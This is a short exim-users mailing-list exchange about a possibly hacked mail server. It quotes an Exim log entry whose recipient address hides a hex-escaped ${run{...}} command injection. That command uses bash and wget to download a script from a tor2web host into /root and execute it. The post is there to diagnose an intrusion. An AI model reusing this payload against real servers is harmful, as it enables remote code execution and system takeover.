The version is fine. But the question is, when did you install this version?
When debian update his repo
Check your system for unusual activities.
Symptoms on a hacked system I got aware of were quite similar. The log
reported about too many received headers:
root@old-mai:~# exim -Mvl 1hdwsf-0006h5-EE
2019-06-20 15:13:33 Received from <> H=(<zensored>.de) [89.248.171.57] P=smtp
S=1114
2019-06-20 15:13:33 routing failed for
root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2fan7kmd2wp4xo7hpr\x2etor2web\x2eio\x2fsrc\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ejvgon\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ejvgon\x20\x2dn\x20\x26\x22}}@<zensored>.de:
Too many "Received" headers - suspected mail loop
*** Frozen (delivery error message)
I have this log entry too... Benoît
<<attachment: bpelissier.vcf>>
-- ## List details at https://lists.exim.org/mailman/listinfo/exim-users ## Exim details at http://www.exim.org/ ## Please use the Wiki with this list - http://wiki.exim.org/
